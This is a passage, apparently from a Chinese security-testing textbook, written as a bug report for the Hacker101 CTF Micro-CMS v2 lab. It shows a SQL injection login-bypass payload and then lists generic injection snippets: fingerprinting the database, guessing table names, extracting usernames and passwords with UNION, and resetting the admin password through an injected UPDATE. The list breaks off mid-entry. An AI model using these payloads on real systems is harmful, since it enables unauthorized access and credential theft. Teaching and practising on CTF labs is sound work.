1.4 CTF Micro-CMS v2网站有SQL注入风险
缺陷标题:CTF Micro-CMS v2网站>登录>通过SQL注入语句,可以直接登录。
测试平台与浏览器:Windows 10+Firefox或IE11浏览器。
测试步骤:
1)打开国外安全夺旗比赛网站主页https://ctf.hacker101.com/ctf,如果已有账户请直接登录,没有账户需要注册一个账户并登录。
2)登录成功后,请进入到Micro-CMS v2网站项目https://ctf.hacker101.com/ctf/launch/3,如图1-5所示。
图1-5 进入Micro-CMS v2网站项目
3)单击Create a new page链接,出现如图1-6所示的登录页面,在Username中输入'UNION SELECT'123'AS password#,在Password中输入123。
图1-6 登录页面
4)单击登录按钮观察。
期望结果:不能登录用户。
实际结果:登录成功,如图1-7所示,在登录成功页面单击P rivate P age链接就能捕获Flag(旗),如图1-8所示。
图1-7 登录成功返回页面
图1-8 捕获Private Page的Flag
[攻击分析]:
SQL注入攻击,利用的是数据库SQL语法,对SQL语法使用越深入,能攻击得到的Flag就越多。常见的攻击语法如下。
获取数据库版本:and(select@@version)>0
获取当前数据库名:and db_name()>0
获取当前数据库用户名:and user>0 and user_name()='dbo'
猜解所有数据库名称:and(select count(*)from master.dbo.sysdatabases where name>1 and dbid=6)<>0
猜解表的字段名称:and(Select Top 1 col_name(object_id('表名'),1)from sy-sobjects)>0
如果知道了表名和字段名就可以查询准确的值:union select 1,2,username,password,5,6,7,8,9,10,11,12 from usertable where id=6
查询账号:union select min(username),1,1,1,..from users where username >'a'
修改管理员的密码为123:.asp?id=××;update admin set password='123'where id=1
猜解数据库中用户名表的名称: